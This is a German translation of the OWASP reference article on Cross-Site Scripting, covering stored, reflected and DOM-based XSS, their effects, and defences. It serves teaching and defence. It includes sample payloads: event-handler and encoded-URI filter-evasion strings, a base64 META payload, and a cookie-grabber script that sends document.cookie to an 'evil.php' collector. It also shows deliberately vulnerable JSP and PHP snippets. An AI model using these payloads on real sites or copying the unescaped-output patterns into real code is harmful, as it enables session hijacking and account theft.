Heading

Überblick

Cross-Site-Scripting (XSS)-Angriffe sind eine Art von Injektion, bei der schädliche Skripte in ansonsten gutartige und vertrauenswürdige Websites eingeschleust werden. XSS-Angriffe treten auf, wenn ein Angreifer eine Webanwendung nutzt, um bösartigen Code, meist in Form eines browserseitigen Skripts, an einen anderen Endbenutzer zu senden. Schwachstellen, die diese Angriffe ermöglichen, sind weit verbreitet und treten überall dort auf, wo eine Webanwendung Eingaben eines Benutzers innerhalb der von ihr generierten Ausgabe verwendet, ohne sie zu validieren oder zu verschlüsseln.

Ein Angreifer kann XSS nutzen, um ein bösartiges Skript an einen ahnungslosen Benutzer zu senden. Der Browser des Endbenutzers hat keine Möglichkeit zu erkennen, dass das Skript nicht vertrauenswürdig ist, und führt das Skript aus. Da er denkt, das Skript stamme aus einer vertrauenswürdigen Quelle, kann das bösartige Skript auf alle Cookies, Sitzungs-Token oder andere vertrauliche Informationen zugreifen, die vom Browser aufbewahrt und mit dieser Website verwendet werden. Diese Skripte können sogar den Inhalt der HTML-Seite umschreiben. Weitere Einzelheiten zu den verschiedenen Arten von XSS-Fehlern finden Sie unter: Arten von Cross-Site Scripting.

Wie Sie Cross-Site-Scripting-Schwachstellen vermeiden

• Spickzettel zur Vermeidung von XSS (Cross-Site-Scripting)
• Spickzettel zur Vermeidung von XSS auf DOM-Basis
• OWASP-Entwicklungsleitfaden-Artikel zur Datenvalidierung
• OWASP-Entwicklungsleitfaden-Artikel zum Thema Phishing

Wie Sie den Code auf Cross-Site Scripting Vulnerabilities

Siehe den OWASP Code Review Guide.

Wie man auf Cross-Site-Scripting-Schwachstellen testet

Siehe den neuesten Artikel im OWASP Testing Guide, wie man auf die verschiedenen Arten von XSS-Schwachstellen testet.

• Testen_auf_reflektiertes_Cross-Site-Scripting
• Testen_auf_gespeichertes_Cross-Site-Scripting
• Testen_auf_DOM-basiertes_Cross-Site-Scripting

Beschreibung

Cross-Site-Scripting (XSS) Angriffe treten auf, wenn:

1. Daten gelangen über eine nicht vertrauenswürdige Quelle, meist eine Web-Anfrage, in eine Web-Anwendung.
2. Die Daten sind in dynamischen Inhalten enthalten, die an einen Web-Benutzer gesendet werden, ohne auf bösartige Inhalte überprüft zu werden.

Die bösartigen Inhalte, die an den Web-Browser gesendet werden, haben oft die Form von JavaScript-Segmenten, können aber auch HTML, Flash oder jede andere Art von Code enthalten, den der Browser ausführen kann. Die Vielfalt der Angriffe, die auf XSS basieren, ist fast grenzenlos, aber sie umfassen in der Regel die Übertragung privater Daten, wie Cookies oder andere Sitzungsinformationen, an den Angreifer, die Umleitung des Opfers zu Webinhalten, die vom Angreifer kontrolliert werden, oder die Durchführung anderer bösartiger Operationen auf dem Rechner des Benutzers unter dem Deckmantel der verwundbaren Website.

Gespeicherte und reflektierte XSS-Angriffe

XSS-Angriffe können im Allgemeinen in zwei Kategorien eingeteilt werden: gespeicherte und reflektierte. Es gibt noch eine dritte, weit weniger bekannte Art von XSS-Angriffen, DOM Based XSS genannt, die hier gesondert behandelt wird.

Gespeicherte XSS-Angriffe

Gespeicherte Angriffe sind solche, bei denen das injizierte Skript dauerhaft auf den Zielservern gespeichert wird, z. B. in einer Datenbank, in einem Nachrichtenforum, Besucherprotokoll, Kommentarfeld usw. Das Opfer ruft dann das bösartige Skript vom Server ab, wenn es die gespeicherten Informationen anfordert.

Reflektierte XSS-Angriffe

Reflektierte Angriffe sind solche, bei denen das eingeschleuste Skript vom Webserver reflektiert wird, z. B. in einer Fehlermeldung, einem Suchergebnis oder einer anderen Antwort, die einige oder alle der Eingaben enthält, die als Teil der Anfrage an den Server gesendet wurden. Wenn ein Benutzer dazu verleitet wird, auf einen bösartigen Link zu klicken, ein speziell gestaltetes Formular auszufüllen oder auch nur eine bösartige Website aufzurufen, wird der injizierte Code an die verwundbare Website weitergeleitet, die den Angriff an den Browser des Benutzers zurückgibt. Der Browser führt dann den Code aus, da er von einem „vertrauenswürdigen“ Server stammt. Reflected XSS wird manchmal auch als Non-Persistent oder Typ-II-XSS bezeichnet.

Andere Arten von XSS-Schwachstellen

Neben Stored und Reflected XSS wurde eine weitere Art von XSS, DOM BasedXSS, von Amit Klein im Jahr 2005 identifiziert. OWASP empfiehlt die XSS-Kategorisierung, wie sie im OWASP-Artikel:Types of Cross-Site Scripting beschrieben ist, der alle diese XSS-Begriffe abdeckt und sie in einer Matrix von Stored vs. ReflectedXSS und Server vs. Client XSS organisiert. Client XSS, wobei DOM Based XSS eine Untermenge von ClientXSS ist.

Folgen eines XSS-Angriffs

Die Folgen eines XSS-Angriffs sind dieselben, unabhängig davon, ob es sich um Stored oder Reflected (oder DOM Based) handelt. Der Unterschied liegt darin, wie die Nutzlast beim Server ankommt. Lassen Sie sich nicht davon täuschen, dass eine „Nur-Lese“- oder „Broschüren“-Seite nicht anfällig für ernsthafte reflektierte XSS-Angriffe ist. XSS kann eine Vielzahl von Problemen für den Endbenutzer verursachen, die in ihrem Schweregrad von einem Ärgernis bis hin zur vollständigen Kompromittierung des Kontos reichen. Die schwerwiegendsten XSS-Angriffe beinhalten die Offenlegung des Sitzungs-Cookies des Benutzers, wodurch ein Angreifer die Sitzung des Benutzers entführen und das Konto übernehmen kann. Andere schädliche Angriffe umfassen die Offenlegung von Endbenutzerdateien, die Installation von Trojanerprogrammen, die Umleitung des Benutzers auf eine andere Seite oder Website oder die Änderung der Darstellung von Inhalten. Eine XSS-Schwachstelle, die es einem Angreifer ermöglicht, eine Pressemitteilung oder eine Nachricht zu verändern, könnte den Aktienkurs eines Unternehmens beeinflussen oder das Vertrauen der Verbraucher mindern. Eine XSS-Schwachstelle auf einer pharmazeutischen Website könnte es einem Angreifer ermöglichen, Dosierungsinformationen zu ändern, was zu einer Überdosierung führen könnte. Weitere Informationen zu dieser Art von Angriffen finden Sie unterContent_Spoofing.

Wie Sie feststellen können, ob Sie anfällig sind

XSS-Schwachstellen können schwierig zu identifizieren und aus einer Webanwendung zu entfernen sein. Der beste Weg, Schwachstellen zu finden, besteht darin, eine Sicherheitsüberprüfung des Codes durchzuführen und nach allen Stellen zu suchen, an denen Eingaben aus einer HTTP-Anfrage möglicherweise in die HTML-Ausgabe gelangen könnten. Beachten Sie, dass eine Vielzahl unterschiedlicher HTML-Tags verwendet werden kann, um ein bösartiges JavaScript zu übertragen.Nessus, Nikto und einige andere verfügbare Tools können dabei helfen, eine Website auf diese Schwachstellen zu überprüfen, können aber nur an der Oberfläche kratzen. Wenn ein Teil einer Website verwundbar ist, gibt es mit hoher Wahrscheinlichkeit auch andere Probleme.

Wie Sie sich schützen können

Die wichtigsten Schutzmaßnahmen gegen XSS sind im OWASP XSS Prevention CheatSheet beschrieben.

Außerdem ist es wichtig, dass Sie die HTTP TRACE-Unterstützung auf allen Webservern deaktivieren. Ein Angreifer kann über Javascript Cookie-Daten stehlen, auch wenn document.cookie deaktiviert ist oder vom Client nicht unterstützt wird. Dieser Angriff wird durchgeführt, wenn ein Benutzer ein bösartiges Skript in einem Forum postet, so dass, wenn ein anderer Benutzer auf den Link klickt, ein asynchroner HTTP-Trace-Aufruf ausgelöst wird, der die Cookie-Informationen des Benutzers vom Server sammelt und dann an einen anderen bösartigen Server sendet, der die Cookie-Informationen sammelt, damit der Angreifer einen Session-Hijack-Angriff durchführen kann.Dies lässt sich leicht abschwächen, indem die Unterstützung für HTTP TRACE auf allen Webservern entfernt wird.

Das OWASP ESAPI-Projekt hat eine Reihe von wiederverwendbaren Sicherheitskomponenten in mehreren Sprachen entwickelt, darunter Validierungs- und Escape-Routinen, die die Manipulation von Parametern und die Einschleusung von XSS-Angriffen verhindern. Darüber hinaus bietet die Trainingsanwendung des OWASP WebGoat-Projekts Lektionen zu Cross-Site Scripting und Datenverschlüsselung.

Alternative XSS-Syntax

XSS mit Skript in Attributen

XSS-Angriffe können ohne die Verwendung von <script>...</script>Tags durchgeführt werden. Andere Tags bewirken genau dasselbe, zum Beispiel:<body onload=alert('test1')> oder andere Attribute wie: onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS mit Skript über verschlüsselte URI-Schemata

Wenn wir uns vor Filtern von Webanwendungen verstecken wollen, können wir versuchen, Zeichen zu verschlüsseln, z.g.: a=&\#X41 (UTF-8) und in IMG-Tags verwenden:

<IMG SRC=j&#X41vascript:alert('test2')>

Es gibt viele verschiedene UTF-8-Kodierungsnotationen, die uns noch mehr Möglichkeiten geben.

XSS mit Code-Kodierung

Wir können unser Skript in base64 kodieren und es im META-Tag platzieren. Auf diese Weise werden wir das alert() komplett los. Weitere Informationen zu dieser Methode finden Sie in RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Diese und weitere Beispiele finden Sie im OWASP XSS Filter Evasion Cheat Sheet, das eine wahre Enzyklopädie der alternativen XSS-Syntax-Attacke ist.

Beispiele

Cross-Site-Scripting-Angriffe können überall dort auftreten, wo möglicherweise böswillige Benutzer unkontrolliertes Material auf eine vertrauenswürdige Website stellen können, das von anderen gültigen Benutzern genutzt werden kann.

Das häufigste Beispiel findet sich in Bulletin-Board-Websites, die eine webbasierte Mailinglisten-Funktionalität anbieten.

Beispiel 1

Das folgende JSP-Code-Segment liest eine Mitarbeiter-ID, eid, aus einer HTTP-Anfrage und zeigt sie dem Benutzer an.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

Der Code in diesem Beispiel arbeitet korrekt, wenn eid nur alphanumerischen Standardtext enthält. Wenn eid einen Wert hat, der Meta-Zeichen oder Quellcode enthält, wird der Code vom Webbrowser ausgeführt, wenn er die HTTP-Antwort anzeigt.

Auf den ersten Blick scheint dies keine große Sicherheitslücke zu sein. Denn warum sollte jemand eine URL eingeben, die bösartigen Code auf seinem eigenen Computer ausführt? Die wirkliche Gefahr besteht darin, dass ein Angreifer die schädliche URL erstellt und dann E-Mails oder Social-Engineering-Tricks verwendet, um die Opfer zum Besuch eines Links zu dieser URL zu verleiten. Wenn die Opfer auf den Link klicken, reflektieren sie unwissentlich den bösartigen Inhalt über die verwundbare Web-Anwendung zurück auf ihren eigenen Computer. Dieser Mechanismus zum Ausnutzen von verwundbaren Web-Anwendungen ist als Reflected XSS bekannt.

Beispiel 2

Das folgende JSP-Code-Segment fragt eine Datenbank nach einem Mitarbeiter mit einer bestimmten ID ab und gibt den entsprechenden Namen des Mitarbeiters aus.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

Wie in Beispiel 1 funktioniert dieser Code korrekt, wenn die Werte von name brav sind, aber er tut nichts, um Exploits zu verhindern, wenn sie es nicht sind. Auch dieser Code kann weniger gefährlich erscheinen, weil der Wert vonname aus einer Datenbank gelesen wird, deren Inhalt offenbar von der Anwendung verwaltet wird. Wenn der Wert vonname jedoch aus vom Benutzer bereitgestellten Daten stammt, kann die Datenbank ein Einfallstor für bösartige Inhalte sein. Ohne ordnungsgemäße Eingabevalidierung für alle in der Datenbank gespeicherten Daten kann ein Angreifer bösartige Befehle im Webbrowser des Benutzers ausführen. Diese Art von Exploit, bekannt als Stored XSS, ist besonders heimtückisch, da die durch den Datenspeicher verursachte Umleitung die Identifizierung der Bedrohung erschwert und die Möglichkeit erhöht, dass der Angriff mehrere Benutzer betrifft. XSS begann in dieser Form mitWebsites, die Besuchern ein „Gästebuch“ anboten. Angreifer fügten JavaScript in ihre Gästebucheinträge ein, und alle nachfolgenden Besucher der Gästebuchseite führten den bösartigen Code aus.

Wie die Beispiele zeigen, werden XSS-Schwachstellen durch Code verursacht, der nicht validierte Daten in eine HTTP-Antwort einfügt. Es gibt drei Vektoren, über die ein XSS-Angriff ein Opfer erreichen kann:

• Wie in Beispiel 1 werden Daten direkt aus der HTTP-Anfrage gelesen und in der HTTP-Antwort zurückreflektiert. Reflektierte XSS-Exploits treten auf, wenn ein Angreifer einen Benutzer dazu bringt, gefährliche Inhalte an eine anfällige Webanwendung zu liefern, die dann an den Benutzer zurückgespiegelt und vom Webbrowser ausgeführt werden. Der gängigste Mechanismus zur Übermittlung bösartiger Inhalte besteht darin, sie als Parameter in eine URL einzubinden, die öffentlich gepostet oder per E-Mail direkt an die Opfer gesendet wird. Auf diese Weise konstruierte URLs bilden den Kern vieler Phishing-Schemata, bei denen ein Angreifer seine Opfer dazu bringt, eine URL zu besuchen, die auf eine verwundbare Website verweist. Nachdem die Website den Inhalt des Angreifers an den Benutzer zurückgesendet hat, wird der Inhalt ausgeführt und überträgt private Informationen, wie z. B. Cookies, die Zugangsdaten enthalten können, vom Computer des Benutzers an den Angreifer oder führt andere schädliche Aktivitäten durch.
• Wie in Beispiel 2 speichert die Anwendung gefährliche Daten in einer Datenbank oder einem anderen vertrauenswürdigen Datenspeicher. Die gefährlichen Daten werden anschließend in die Anwendung zurückgelesen und in dynamische Inhalte eingebunden. StoredXSS-Exploits treten auf, wenn ein Angreifer gefährliche Inhalte in einen Datenspeicher injiziert, die später gelesen und in dynamische Inhalte eingefügt werden. Aus Sicht eines Angreifers ist der optimale Ort für die Einspeisung bösartiger Inhalte ein Bereich, der entweder für viele Benutzer oder besonders interessante Benutzer angezeigt wird. Interessante Benutzer verfügen in der Regel über höhere Berechtigungen in der Anwendung oder interagieren mit sensiblen Daten, die für den Angreifer wertvoll sind. Wenn einer dieser Benutzer bösartige Inhalte ausführt, kann der Angreifer möglicherweise privilegierte Operationen im Namen des Benutzers durchführen oder Zugriff auf sensible Daten des Benutzers erhalten.
• Eine Quelle außerhalb der Anwendung speichert gefährliche Daten in einer Datenbank oder einem anderen Datenspeicher, und die gefährlichen Daten werden anschließend als vertrauenswürdige Daten in die Anwendung zurückgelesen und in dynamische Inhalte aufgenommen.

Angriffsbeispiele

Beispiel 1: Cookie-Grabber

Wenn die Anwendung die Eingabedaten nicht validiert, kann der Angreifer ganz einfach ein Cookie von einem authentifizierten Benutzer stehlen. Alles, was der Angreifer tun muss, ist, den folgenden Code in einer beliebigen Eingabe zu platzieren (z. B. in Messageboards, privaten Nachrichten, Benutzerprofilen):

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

Der obige Code übergibt einen escapten Inhalt des Cookies (lautRFC muss der Inhalt escaped werden, bevor er über das HTTP-Protokoll mit der GET-Methode gesendet wird) an das evil.php-Skript in der Variable „cakemonster“. Der Angreifer prüft dann die Ergebnisse seines evil.php-Skripts (ein Cookie-Grabber-Skript schreibt das Cookie normalerweise in eine Datei) und verwendet es.

Beispiel für eine Fehlerseite

Angenommen, wir haben eine Fehlerseite, die Anfragen für eine nicht existierende Seite behandelt, eine klassische 404-Fehlerseite. Wir können den folgenden Code als Beispiel verwenden, um den Benutzer darüber zu informieren, welche bestimmte Seite fehlt:

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>

Lassen Sie uns sehen, wie es funktioniert: http://testsite.test/file_which_not_existAls Antwort erhalten wir: Not found: /file_which_not_exist

Nun wollen wir versuchen, die Fehlerseite zu zwingen, unseren Code einzubinden: http://testsite.test/<script>alert("TEST");</script>Das Ergebnis ist: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Wir haben den Code erfolgreich injiziert, unser XSS! Was bedeutet das? Zum Beispiel, dass wir diese Schwachstelle nutzen können, um zu versuchen, den Sessioncookie eines Benutzers zu stehlen.

• XSS-Angriffe
• Aufruf von nicht vertrauenswürdigem mobilen Code
• Cross Site History Manipulation (XSHM)

• Improper Data Validation
• Typen von Cross-Site Scripting
• OWASP-Entwicklungsleitfaden-Artikel über Datenvalidierung
• OWASP-Entwicklungsleitfaden-Artikel über Phishing

• Datenvalidierung

• OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
• Testing_für_Reflected_Cross_site_scripting
• Testing_für_Stored_Cross_site_scripting
• Testing_für_DOM-based_Cross_site_scripting
• The Cross Site Scripting FAQ
• OWASP XSS Filter Evasion Cheat Sheet
• CERT Advisory on Malicious HTML Tags
• CERT „Understanding Malicious Content Mitigation
• Understanding the cause and effect of CSS Vulnerabilities
• XSSed – Cross-Site-Scripting (XSS) Informationen und Spiegelarchiv anfälliger Websites

Kategorie:InjectionKategorie:OWASP Top Ten ProjectKategorie:Attack